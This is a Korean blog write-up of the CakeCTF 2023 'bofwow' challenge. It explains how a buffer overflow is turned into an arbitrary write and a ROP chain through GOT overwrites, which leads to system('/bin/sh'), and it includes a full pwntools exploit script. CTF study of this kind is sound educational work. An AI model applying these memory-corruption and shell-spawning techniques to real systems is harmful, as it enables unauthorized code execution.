2023 CakeCTF - bofwow

김왕구·2023년 12월 13일
0

1. 문제파일

bofwow.tar.gz

2. 분석 & 취약점 찾기

이 문제는 bofww 문제에서 win() 함수가 제거된 문제이므로 분석에 관련한 문제는 bofww 문제 풀이를 참고

3. 익스플로잇

익스플로잇 순서는 다음과 같다.

  1. system 함수에서 쉘을 실행하기 위해 /bin/sh 문자열 쓰기
  2. setbuf의 주소를 leak하여 base 주소를 알아낸 후, system 함수의 주소를 계산하기
  3. system(”/bin/sh”) 실행

이 문제를 풀기 위해서는 BOF(Buffer Overflow)ROP(Return Orianted Programming)를 이용하여 main으로 되돌아가며 AAW(임의 주소 쓰기, ArbitraryAddressWrite)를 진행할 수 있다.

다음은 main 함수로 이동하는 AAW Chain 함수이다.

def aaw(addr, value):
    payload = p64(value)
    payload += b"\x00" * 0x128
    payload += p64(addr)
    payload += p64(0x1000)
    payload += p64(0x1000)
    p.sendlineafter(b"What is your first name? ", payload)
    p.sendlineafter(b"How old are you? ", b'0')

1. ROP에 사용할 가젯 찾기

우선 사용 가능한 가젯들은 다음과 같다.

  1. 0x4014c2mov rbx, dword ptr [rbp - 8] ; leave ; ret
    • rbp - 8system ←→ setbuf의 오프셋
  2. 0x4012bcadd dword ptr [rbp - 0x3d], ebx ; nop ; ret
    • **rbp - 0x3d**setbuf의 주소
    • ebxsystem ←→ setbuf의 오프셋
    • system 주소를 계산하는 가젯
  3. 0x4015a3mov rax, qword ptr [rbp - 0x18] ; leave ; ret
    • rbp - 0x18system의 주소
  4. 0x401247mov edi, 0x4040a0 ; jmp rax
    • PTR 0x4040a0edi에 복사하여 jmp raxrax에 저장된 값인 system으로 이동
  5. 0x4013a3leave ; ret
  6. 0x40101aret

2. DATA

system 함수 실행에 필요한 데이터가 저장되는 곳은 다음과 같다.

  1. 0x4040a0"/bin/sh\00"
  2. 0x404f00 ~ ???system 주소 계산에 필요한 가젯 또는 main이 저장이 저장되는 위치
    • 0x404f00setbufGOT + 0x3d
    • 0x404f00 + 80x4012bc
    • 0x404f00 + 0x10main
    • 0x404f00 - 8offset 0xfffc8d00 + 4
      ⇒ 기존의 오프셋에 4를 더하는 이유는 memcopy 호출 전, strlen 함수를 통해 복사할 값의 길이를 구할 때 null-byte를 만나 value의 길이를 알아내지 못하여 addr에 값이 쓰이지 못하는 경우를 피하기 위해서이다.
  3. 0x404f38system 함수 호출을 위해 필요한 인자가 저장되는 위치.
    null-byte를 피하기 위해 이 주소를 사용한다.
  4. setbufGOT → 최종적으로 system 함수를 호출하는 가젯이 저장되는 위치.
    • setbufGOT + 0x180x404f38
    • setbufGOT + 0x200x4013a3

3. Exploit Code

from pwn import *
from pwn import p64, u64

def slog(n, m): return success(': '.join([n, hex(m)]))

ld = ELF("./ld-2.35.so")
e = ELF("./bofwow_patched")
libc = ELF('./libc.so.6')
# p = process([e.path])
p = remote('127.0.0.1', 9003)

# set breakpoint...
breakpoint = {
    'set_name': 0x000000000040137a,
    'memcopy': '_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_replaceEmmPKcm+192'
}

gdbscript = '''
b *{}
b *{}
c\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\n
'''.format(breakpoint['set_name'], breakpoint['memcopy'])

context.terminal = [
    'tmux',
    'new-window',
    '-n',
    'DEBUG-{}'.format(sys.argv[0])
]

if len(sys.argv) > 1:
    if sys.argv[1] == 'debug':
        context.log_level = 'debug'
        attach(p, gdbscript)
else:
    pass

def aaw(addr, value):
    payload = p64(value)
    payload += b"\x00" * 0x128
    payload += p64(addr)
    payload += p64(0x1000)
    payload += p64(0x1000)
    p.sendlineafter(b"What is your first name? ", payload)
    p.sendlineafter(b"How old are you? ", b'0')

def infinite_loop():
    # Get infinite loop
    payload = p64(main)  # new ptr
    payload += b"\x00" * 0x128  # char _name[0x100] <==> string name
    payload += p64(stack_chk_failed_got)  # string ptr(old)
    payload += p64(0x1000)  # len
    payload += p64(0x1000)  # capacity
    p.sendlineafter(b"What is your first name? ", payload)
    p.sendlineafter(b"How old are you? ", b'0')

main = e.symbols['main']
stack_chk_failed_got = e.got['__stack_chk_fail']

# AAW
infinite_loop()

# [1] Write "/bin/sh\x00" --> 0x4040a0
aaw(0x4040a0, u64(b'/bin/sh\x00'))

# [2] Calculate system()
addr_chain = 0x404f00
# 0x404f00 + 8 --> 0x4012bc
# 0x4012bc --> add dword ptr [rbp - 0x3d], ebx ; nop ; ret
prepare_gadget_1 = 0x4012bc
aaw(addr_chain + 0x8, prepare_gadget_1)
# 0x404f00 + 16 --> main()
aaw(addr_chain + 0x10, main)

# Calculate system address
# system + 4 --> avoid null-byte
# offset = (libc.symbols['system'] + 4) - libc.symbols['setbuf']
offset = 0xfffffffffffc8d00 + 4
aaw(addr_chain - 0x8, offset)  # setbuf <==> system offset in libc
aaw(addr_chain, e.got['setbuf'] + 0x3d)

ret = 0x40101a
# 0x4014c2 --> mov rbx, dword ptr [rbp - 8] ; leave ; ret
prepare_gadget_2 = 0x4014c2
payload = p64(ret)
payload += b'\x00' * 0x108
payload += p64(addr_chain)  # rbp
payload += p64(prepare_gadget_2)
payload += b'\x00' * 0x10
payload += p64(stack_chk_failed_got)  # addr
payload += p64(0x1000)  # len
payload += p64(0x1000)  # capacity
p.sendlineafter(b"What is your first name? ", payload)
p.sendlineafter(b"How old are you? ", b'0')

# Set infinite loop
infinite_loop()

# [3] Set system() arguments gadget
addr_chain = 0x404f38  # avoid null-byte
# 0x401247 --> mov edi, 0x4040a0 ; jmp rax
prepare_gadget_1 = 0x401247
leave_ret = 0x4013a3
aaw(addr_chain + 0x8, prepare_gadget_1)
aaw(e.got['setbuf'] + 0x18, addr_chain)
aaw(e.got['setbuf'] + 0x20, leave_ret)

# [4] Run system('/bin/sh')
# 0x4015a3 --> mov rax, qword ptr [rbp - 0x18] ; leave ; ret
prepare_gadget_2 = 0x4015a3
payload = p64(ret)
payload += b'\x00' * 0x108
payload += p64(e.got['setbuf'] + 0x18)  # rbp
payload += p64(prepare_gadget_2)
payload += b'\x00' * 0x10
payload += p64(stack_chk_failed_got)
payload += p64(0x1000)  # len
payload += p64(0x1000)  # capacity
p.sendlineafter(b"What is your first name? ", payload)
p.sendlineafter(b"How old are you? ", b'0')

# Get flag!
p.sendline(b'find / -name "flag-*.txt" -exec cat {} \; 2>/dev/null')

p.interactive()

4. Result

profile
시스템 보안과 운영체제 개발, Rust에 관심이 많은 학생

0개의 댓글